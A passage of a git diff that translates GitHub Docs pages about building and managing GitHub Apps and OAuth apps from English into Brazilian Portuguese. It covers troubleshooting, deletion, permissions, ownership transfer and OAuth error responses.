+    **A:** Você pode não ter o domínio correto da Smee nas configurações do seu aplicativo. Visite a sua [página de configurações do aplicativo](https://github.com/settings/apps) e verifique novamente os campos exibidos em "[Registre um novo aplicativo com GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)". Certifique-se de que o domínio nesses campos corresponde ao domínio que você usou no seu comando `smee -u <unique_channel>` em "[Iniciar um novo canal da Smee](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)".
 
-* **Q:** My app doesn't work! I opened a new issue, but even after refreshing, no label has been added to it.
+* **P:** Meu aplicativo não funciona! Eu abri um novo problema, mas mesmo depois de atualizado, nenhuma etiqueta foi adicionado a ele.
 
-    **A:** Make sure all of the following are true:
+    **R:** Certifique-se de que todos os pontos a seguir sejam verdadeiros:
 
-    * You [installed the app](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) on the repository where you're opening the issue.
-    * Your [Smee client is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) in a Terminal window.
-    * Your [web server is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) with no errors in another Terminal window.
-    * Your app has [read & write permissions on issues and is subscribed to issue events](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel).
-    * You [checked your email](#step-1-update-app-permissions) after updating the permissions and accepted the new permissions.
+    * Você [instalou o aplicativo](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) no repositório onde você está abrindo o problema.
+    * Seu [Cliente da Smee em execução](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) em uma janela do Terminal.
+    * Seu [servidor web está em execução](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) sem erros em outra janela do Terminal.
+    * Seu aplicativo tem permissões de [leitura & e gravação permissões em problemas e está assinado a eventos do problema](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel).
+    * Você [verificou seu e-mail](#step-1-update-app-permissions) depois de atualizar as permissões e aceitou as novas permissões.
 
-## Conclusion
+## Conclusão
 
-After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you:
+Depois de analisar este guia, você aprendeu os componentes básicos para o desenvolvimento dos aplicativos GitHub! Para resumir, você:
 
-* Programmed your app to listen for events
-* Used the Octokit.rb library to do REST API operations
+* Programou seu aplicativo para ouvir eventos
+* Usou a biblioteca do Octokit.rb para fazer operações da API REST
 
-## Next steps
+## Próximas etapas
 
-Here are some ideas for what you can do next:
+Aqui estão algumas ideias do que você pode fazer a seguir:
 
-* [Rewrite your app using GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)!
-* Rewrite your app in Node.js using [Probot](https://github.com/probot/probot)!
-* Have the app check whether the `needs-response` label already exists on the issue, and if not, add it.
-* When the bot successfully adds the label, show a message in the Terminal. (Hint: compare the `needs-response` label ID with the ID of the label in the payload as a condition for your message, so that the message only displays when the relevant label is added and not some other label.)
-* Add a landing page to your app and hook up a [Sinatra route](https://github.com/sinatra/sinatra#routes) for it.
-* Move your code to a hosted server (like Heroku). Don't forget to update your app settings with the new domain.
-* Share your project or get advice in the {% data variables.product.prodname_support_forum_with_url %}{% ifversion fpt or ghec %}
-* Have you built a shiny new app you think others might find useful? [Add it to GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %}
+* [Reescreva seu aplicativo usando o GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)!
+* Reescreva seu aplicativo no Node.js usando o [Probot](https://github.com/probot/probot)!
+* Faça o aplicativo verificar se a etiqueta `needs-response` já existe no problema, e, em caso negativo, adicione-a.
+* Quando o bot adiciona a etiqueta com sucesso, é exibida uma mensagem no Terminal. (Dica: compare o ID da etiqueta `needs-response` com o ID da etiqueta na carga como uma condição para sua mensagem para que a mensagem seja exibida somente quando a etiqueta relevante for adicionada e não qualquer outra etiqueta.)
+* Adicione uma página inicial ao seu aplicativo e conecte um [encaminhamento do Sinatra](https://github.com/sinatra/sinatra#routes) para isso.
+* Mova o seu código para um servidor hospedado (como o Heroku). Não se esqueça de atualizar as configurações do seu aplicativo com o novo domínio.
+* Compartilhe seu projeto ou receba orientações no {% data variables.product.prodname_support_forum_with_url %}{% ifversion fpt or ghec %}
+* Você construiu um aplicativo novo brilhante que você considera que outras pessoas podem achar útil? [Adicione-o ao GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %}
diff --git a/translations/pt-BR/content/developers/apps/index.md b/translations/pt-BR/content/developers/apps/index.md
index 30fe7ff44f..3c034099af 100644
--- a/translations/pt-BR/content/developers/apps/index.md
+++ b/translations/pt-BR/content/developers/apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Apps
-intro: You can automate and streamline your workflow by building your own apps.
+title: Aplicativos
+intro: Você pode automatizar e agilizar seu fluxo de trabalho criando seus próprios aplicativos.
 redirect_from:
   - /early-access/integrations
   - /early-access/integrations/authentication
diff --git a/translations/pt-BR/content/developers/apps/managing-github-apps/deleting-a-github-app.md b/translations/pt-BR/content/developers/apps/managing-github-apps/deleting-a-github-app.md
index 5c9cdb43cf..c31f2ef76f 100644
--- a/translations/pt-BR/content/developers/apps/managing-github-apps/deleting-a-github-app.md
+++ b/translations/pt-BR/content/developers/apps/managing-github-apps/deleting-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Deleting a GitHub App
+title: Apagar um aplicativo GitHub
 intro: '{% data reusables.shortdesc.deleting_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/deleting-a-github-app
@@ -13,15 +13,12 @@ versions:
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App you want to delete.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+4. Selecione o aplicativo do GitHub que você deseja excluir. ![Seleção de aplicativo](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-6. Click **Delete GitHub App**.
-![Button to delete a GitHub App](/assets/images/github-apps/github_apps_delete.png)
-7. Type the name of the GitHub App to confirm you want to delete it.
-![Field to confirm the name of the GitHub App you want to delete](/assets/images/github-apps/github_apps_delete_integration_name.png)
-8. Click **I understand the consequences, delete this GitHub App**.
-![Button to confirm the deletion of your GitHub App](/assets/images/github-apps/github_apps_confirm_deletion.png)
+6. Clique em **Excluir o aplicativo GitHub**. ![Botão para excluir um aplicativo GitHub](/assets/images/github-apps/github_apps_delete.png)
+7. Digite o nome do GitHub App para confirmar que você deseja excluí-lo. ![Campo para confirmar o nome do aplicativo do GitHub que você deseja excluir](/assets/images/github-apps/github_apps_delete_integration_name.png)
+8. Clique em **Eu entendo as consequências. Exclua este aplicativo GitHub**. ![Botão para confirmar a exclusão do seu aplicativo GitHub](/assets/images/github-apps/github_apps_confirm_deletion.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md b/translations/pt-BR/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
index 3d9e709d77..435d76efbf 100644
--- a/translations/pt-BR/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
+++ b/translations/pt-BR/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
@@ -1,5 +1,5 @@
 ---
-title: Editing a GitHub App's permissions
+title: Editar permissões do aplicativo GitHub
 intro: '{% data reusables.shortdesc.editing_permissions_for_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions
@@ -12,26 +12,21 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Edit permissions
+shortTitle: Editar permissões
 ---
+
 {% note %}
 
-**Note:** Updated permissions won't take effect on an installation until the owner of the account or organization approves the changes. You can use the [InstallationEvent webhook](/webhooks/event-payloads/#installation) to find out when people accept new permissions for your app. One exception is [user-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions), which don't require the account owner to approve permission changes.
+**Observação:** As permissões atualizadas não terão efeito sobre uma instalação até que o proprietário da conta ou organização aprove as alterações. Você pode usar o [webhook do InstallationEvent](/webhooks/event-payloads/#installation) para descobrir quando as pessoas aceitam novas permissões para seu aplicativo. Uma exceção são as [permissões de nível de usuário](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions), que não exigem que o proprietário da conta aprove as alterações de permissão.
 
 {% endnote %}
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App whose permissions you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
-5. In the left sidebar, click **Permissions & webhooks**.
-![Permissions and webhooks](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
-6. Modify the permissions you'd like to change. For each type of permission, select either "Read-only", "Read & write", or "No access" from the dropdown.
-![Permissions selections for your GitHub App](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
-7. In "Subscribe to events", select any events to which you'd like to subscribe your app.
-![Permissions selections for subscribing your GitHub App to events](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
-8. Optionally, in "Add a note to users", add a note telling your users why you are changing the permissions that your GitHub App requests.
-![Input box to add a note to users explaining why your GitHub App permissions have changed](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
-9. Click **Save changes**.
-![Button to save permissions changes](/assets/images/github-apps/github_apps_save_changes.png)
+4. Selecione o aplicativo GitHub cujas permissões você deseja alterar. ![Seleção de aplicativo](/assets/images/github-apps/github_apps_select-app.png)
+5. Na barra lateral esquerda, clique em **Permissions & webhooks** (Permissões e webhooks). ![Permissões e webhooks](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
+6. Modifique as permissões que você deseja alterar. Para cada tipo de permissão, selecione "Somente leitura", "Ler & gravar" ou "Sem acesso" no menu suspenso. ![Seleção de permissões para o seu aplicativo GitHub](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
+7. Em "Assinar eventos", selecione quaisquer eventos que você deseja que seu aplicativo assine. ![Seleção de permissões para seu aplicativo GitHub assinar eventos](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
+8. Opcionalmente, em "Adicionar uma observação para os usuários", adicione uma observação informando aos usuários o por que você esta mudando as permissões que o seu aplicativo GitHub solicita. ![Caixa de entrada para adicionar uma observação aos usuários explicando por que as permissões do seu aplicativo GitHub foram alteradas](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
+9. Clique em **Save changes** (Salvar alterações). ![Botão para salvar alterações de permissões](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-github-apps/index.md b/translations/pt-BR/content/developers/apps/managing-github-apps/index.md
index 718fa7bb8f..e05c04ae2a 100644
--- a/translations/pt-BR/content/developers/apps/managing-github-apps/index.md
+++ b/translations/pt-BR/content/developers/apps/managing-github-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Apps
-intro: 'After you create and register a GitHub App, you can make modifications to the app, change permissions, transfer ownership, and delete the app.'
+title: Gerenciar aplicativos GitHub
+intro: 'Após criar e registrar um aplicativo GitHub, você poderá fazer modificações no aplicativo, alterar as permissões, transferir propriedade e e excluir o aplicativo.'
 redirect_from:
   - /apps/building-integrations/managing-github-apps
   - /apps/managing-github-apps
diff --git a/translations/pt-BR/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/translations/pt-BR/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
index 2955f8e8c0..284f0e2aaf 100644
--- a/translations/pt-BR/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
+++ b/translations/pt-BR/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
@@ -1,5 +1,5 @@
 ---
-title: Making a GitHub App public or private
+title: Tornar um aplicativo do GitHub público ou privado
 intro: '{% data reusables.shortdesc.making-a-github-app-public-or-private %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps
@@ -15,29 +15,27 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Manage app visibility
+shortTitle: Gerenciar visibilidade do aplicativo
 ---
-For authentication information, see "[Authenticating with GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
 
-## Public installation flow
+Para obter informações de autenticação, consulte "[Efetuando autenticação com aplicativos GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)".
 
-Public installation flows have a landing page to enable other people besides the app owner to install the app in their repositories. This link is provided in the "Public link" field when setting up your GitHub App. For more information, see "[Installing GitHub Apps](/apps/installing-github-apps/)."
+## Fluxo público de instalação
 
-## Private installation flow
+Os fluxos de instalação pública têm uma página inicial para permitir que outras pessoas, além do proprietário do aplicativo, instalem o aplicativo nos seus repositórios. Este link é fornecido no campo "Link público" ao configurar seu aplicativo GitHub. Para obter mais informações, consulte "[Instalando aplicativos GitHub](/apps/installing-github-apps/)".
 
-Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the user account if the GitHub App is owned by an individual account. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Private {% else %}Private (also known as internal){% endif %} GitHub Apps can only be installed on the user or organization account of the owner.
+## Fluxo privado de instalação
 
-## Changing who can install your GitHub App
+Os fluxos privados de instalação permitem que somente o proprietário de um aplicativo GitHub a instale. Informações limitadas sobre o GitHub App continuarão a existir em uma página pública, mas o botão **Instalar** só estará disponível para administradores da organização ou para a conta de usuário se o aplicativo GitHub for propriedade de uma conta individual. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Privado {% else %}Privado (também conhecido como interno){% endif %} Os aplicativos GitHub só podem ser instalados na conta de usuário ou de organização do proprietário.
 
-To change who can install the GitHub App:
+## Alterar quem pode instalar seu aplicativo GitHub
+
+Para alterar quem pode instalar o aplicativo GitHub:
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-3. Select the GitHub App whose installation option you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+3. Selecione o aplicativo GitHub cuja opção de instalação você deseja alterar. ![Seleção de aplicativo](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-5. Depending on the installation option of your GitHub App, click either **Make public** or **Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private{% else %}internal{% endif %}**.
-![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png)
-6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}internal{% else %}private{% endif %}**.
-![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png)
+5. Dependendo da opção de instalação do seu aplicativo GitHub, clique em **Tornar público** ou **Tornar {% ifversion fpt or ghes > 3.1 or ghae or ghec %}privado{% else %}interno{% endif %}**. ![Botão para alterar a opção de instalação do seu aplicativo GitHub](/assets/images/github-apps/github_apps_make_public.png)
+6. Dependendo da opção de instalação do seu aplicativo GitHub, clique **Sim, torne público este aplicativo GitHub** ou **Sim, torne este aplicativo GitHub {% ifversion fpt or ghes < 3.2 or ghec %}interno{% else %}interno{% endif %}**. ![Botão para confirmar a mudança de sua opção de instalação](/assets/images/github-apps/github_apps_confirm_installation_option.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-github-apps/modifying-a-github-app.md b/translations/pt-BR/content/developers/apps/managing-github-apps/modifying-a-github-app.md
index 48fc1ccfb1..78b89f7d37 100644
--- a/translations/pt-BR/content/developers/apps/managing-github-apps/modifying-a-github-app.md
+++ b/translations/pt-BR/content/developers/apps/managing-github-apps/modifying-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Modifying a GitHub App
+title: Modificar um aplicativo GitHub
 intro: '{% data reusables.shortdesc.modifying_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/modifying-a-github-app
@@ -13,11 +13,10 @@ versions:
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Basic information", modify the GitHub App information that you'd like to change.
-![Basic information section for your GitHub App](/assets/images/github-apps/github_apps_basic_information.png)
-6. Click **Save changes**.
-![Button to save changes for your GitHub App](/assets/images/github-apps/github_apps_save_changes.png)
+5. Em "Informações básicas", modifique as informações do aplicativo GitHub que você gostaria de alterar. ![Seção de informações básicas para o seu aplicativo GitHub](/assets/images/github-apps/github_apps_basic_information.png)
+6. Clique em **Save changes** (Salvar alterações). ![Botão para salvar alterações para o seu aplicativo GitHub](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md b/translations/pt-BR/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
index 4bbe104d16..5887bfe725 100644
--- a/translations/pt-BR/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
+++ b/translations/pt-BR/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Transferring ownership of a GitHub App
+title: Transferir a propriedade de um aplicativo GitHub
 intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app
@@ -12,19 +12,15 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Transfer ownership
+shortTitle: Transferir propriedade
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App whose ownership you want to transfer.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+4. Selecione o aplicativo GitHub cuja propriedade você deseja transferir. ![Seleção de aplicativo](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-6. Click **Transfer ownership**.
-![Button to transfer ownership](/assets/images/github-apps/github_apps_transfer_ownership.png)
-7. Type the name of the GitHub App you want to transfer.
-![Field to enter the name of the app to transfer](/assets/images/github-apps/github_apps_transfer_app_name.png)
-8. Type the name of the user or organization you want to transfer the GitHub App to.
-![Field to enter the user or org to transfer to](/assets/images/github-apps/github_apps_transfer_new_owner.png)
-9. Click **Transfer this GitHub App**.
-![Button to confirm the transfer of a GitHub App](/assets/images/github-apps/github_apps_transfer_integration.png)
+6. Clique em **Transferir propriedade**. ![Botão para transferir a propriedade](/assets/images/github-apps/github_apps_transfer_ownership.png)
+7. Digite o nome do aplicativo do GitHub que você deseja transferir. ![Campo para inserir o nome do aplicativo a ser transferido](/assets/images/github-apps/github_apps_transfer_app_name.png)
+8. Digite o nome do usuário ou organização para o qual você deseja transferir o aplicativo GitHub. ![Campo para inserir o usuário ou organização para o qual transferir](/assets/images/github-apps/github_apps_transfer_new_owner.png)
+9. Clique **Transferir este aplicativo GitHub**. ![Botão para confirmar a transferência de um aplicativo GitHub](/assets/images/github-apps/github_apps_transfer_integration.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md b/translations/pt-BR/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
index 26affcb17f..400a617468 100644
--- a/translations/pt-BR/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
+++ b/translations/pt-BR/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Deleting an OAuth App
+title: Excluir um aplicativo OAuth
 intro: '{% data reusables.shortdesc.deleting_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app
@@ -13,12 +13,10 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
-![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
-5. Click **Delete application**.
-![Button to delete the application](/assets/images/oauth-apps/oauth_apps_delete_application.png)
-6. Click **Delete this OAuth Application**.
-![Button to confirm the deletion](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
+4. Selecione o {% data variables.product.prodname_oauth_app %} que você deseja modificar. ![Seleção de aplicativo](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. Clique em **Excluir o aplicativo**. ![Botão para excluir o aplicativo](/assets/images/oauth-apps/oauth_apps_delete_application.png)
+6. Clique em **Excluir este aplicativo OAuth**. ![Botão para confirmar a exclusão](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-oauth-apps/index.md b/translations/pt-BR/content/developers/apps/managing-oauth-apps/index.md
index 5a40c83444..178aff6d2e 100644
--- a/translations/pt-BR/content/developers/apps/managing-oauth-apps/index.md
+++ b/translations/pt-BR/content/developers/apps/managing-oauth-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing OAuth Apps
-intro: 'After you create and register an OAuth App, you can make modifications to the app, change permissions, transfer ownership, and delete the app.'
+title: Gerenciar aplicativos OAuth
+intro: 'Após criar e registrar um aplicativo OAuth, você poderá fazer modificações no aplicativo, alterar as permissões, transferir propriedade e e excluir o aplicativo.'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps
   - /apps/managing-oauth-apps
diff --git a/translations/pt-BR/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md b/translations/pt-BR/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
index c6196ae921..bb0451c335 100644
--- a/translations/pt-BR/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
+++ b/translations/pt-BR/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Modifying an OAuth App
+title: Modificar um aplicativo OAuth
 intro: '{% data reusables.shortdesc.modifying_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app
@@ -13,9 +13,10 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
 {% data reusables.user-settings.modify_oauth_app %}
-1. Modify the {% data variables.product.prodname_oauth_app %} information that you'd like to change.
+1. Modifique as informações do {% data variables.product.prodname_oauth_app %} que você gostaria de alterar.
 {% data reusables.user-settings.update_oauth_app %}
diff --git a/translations/pt-BR/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md b/translations/pt-BR/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
index 975ec5bafb..58f6ab6bbf 100644
--- a/translations/pt-BR/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
+++ b/translations/pt-BR/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Transferring ownership of an OAuth App
+title: Transferir a propriedade de um aplicativo OAuth
 intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app
@@ -12,18 +12,14 @@ versions:
   ghec: '*'
 topics:
   - OAuth Apps
-shortTitle: Transfer ownership
+shortTitle: Transferir propriedade
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
-![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
-5. Click **Transfer ownership**.
-![Button to transfer ownership](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
-6. Type the name of the {% data variables.product.prodname_oauth_app %} you want to transfer.
-![Field to enter the name of the app to transfer](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
-7. Type the name of the user or organization you want to transfer the {% data variables.product.prodname_oauth_app %} to.
-![Field to enter the user or org to transfer to](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
-8. Click **Transfer this application**.
-![Button to transfer the application](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
+4. Selecione o {% data variables.product.prodname_oauth_app %} que você deseja modificar. ![Seleção de aplicativo](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. Clique em **Transferir propriedade**. ![Botão para transferir a propriedade](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
+6. Digite o nome do {% data variables.product.prodname_oauth_app %} que você deseja transferir. ![Campo para inserir o nome do aplicativo a ser transferido](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
+7. Digite o nome do usuário ou organização para o qual você deseja transferir o {% data variables.product.prodname_oauth_app %} . ![Campo para inserir o usuário ou organização para o qual transferir](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
+8. Clique em **Transferir este aplicativo**. ![Botão para transferir o aplicativo](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
diff --git a/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md b/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
index ce44a8e347..ec6980cf98 100644
--- a/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
+++ b/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
@@ -1,5 +1,5 @@
 ---
-title: Troubleshooting authorization request errors
+title: Solucionar problemas de erros de solicitação de autorização
 intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors
@@ -12,42 +12,38 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Troubleshoot authorization
+shortTitle: Solucionar problemas de autorização
 ---
-## Application suspended
 
-If the OAuth App you set up has been suspended (due to reported abuse, spam, or a mis-use of the API), GitHub will redirect to the registered callback URL using the following parameters to summarize the error:
+## Aplicativo suspenso
+
+Se o aplicativo OAuth que você configurou foi suspenso (em razão de abusos, spam, ou de má utilização da API), o GitHub irá redirecionar para a URL de chamada de retorno registrada, usando os parâmetros a seguir para resumir o erro:
 
     http://your-application.com/callback?error=application_suspended
       &error_description=Your+application+has+been+suspended.+Contact+support@github.com.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23application-suspended
       &state=xyz
 
-To solve issues with suspended applications, please contact {% data variables.contact.contact_support %}.
+Para resolver problemas com aplicativos suspensos, entre em contato com {% data variables.contact.contact_support %}.
 
-## Redirect URI mismatch
+## Erro no redirecionamento do URI
 
-If you provide a `redirect_uri` that doesn't match what you've registered with your application, GitHub will redirect to the registered callback URL with the following parameters summarizing the error:
+Se você fornecer um `redirect_uri` que não corresponde ao que você registrou com o seu aplicativo, o GitHub irá redirecionar para a URL de chamada de retorno registrada com os parâmetros a seguir resumindo o erro:
 
     http://your-application.com/callback?error=redirect_uri_mismatch
       &error_description=The+redirect_uri+MUST+match+the+registered+callback+URL+for+this+application.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23redirect-uri-mismatch
       &state=xyz
 
-To correct this error, either provide a `redirect_uri` that matches what you registered or leave out this parameter to use the default one registered with your application.
+Para corrigir este erro, ou forneça um `redirect_uri` que corresponda ao que você registrou ou deixe de fora este parâmetro para usar o padrão registrado com o seu aplicativo.
 
-### Access denied
+### Acesso Negado
 
-If the user rejects access to your application, GitHub will redirect to
-the registered callback URL with the following parameters summarizing
-the error:
+Se o usuário rejeitar o acesso ao seu aplicativo, o GitHub irá redirecionar para a URL de chamada de retorno registrada com os parâmetros a seguir resumindo o erro:
 
     http://your-application.com/callback?error=access_denied
       &error_description=The+user+has+denied+your+application+access.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23access-denied
       &state=xyz
 
-There's nothing you can do here as users are free to choose not to use
-your application. More often than not, users will just close the window
-or press back in their browser, so it is likely that you'll never see
-this error.
+Não há nada que você possa fazer aqui, pois os usuários são livres para escolher não usar seu aplicativo. Frequentemente, os usuários irão apenas apenas fechar a janela ou pressionar "voltar" em seu navegador. Portanto, é provável que você nunca veja esse erro.
diff --git a/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
index 5dc9f10a8b..cc23c6de64 100644
--- a/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
+++ b/translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
@@ -1,5 +1,5 @@
 ---
-title: Troubleshooting OAuth App access token request errors
+title: Solucionar problemas de erros na solicitação de token de acesso do OAuth
 intro: '{% data reusables.shortdesc.troubleshooting_access_token_reques_errors_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
@@ -12,18 +12,18 @@ versions:
   ghec: '*'
 topics:
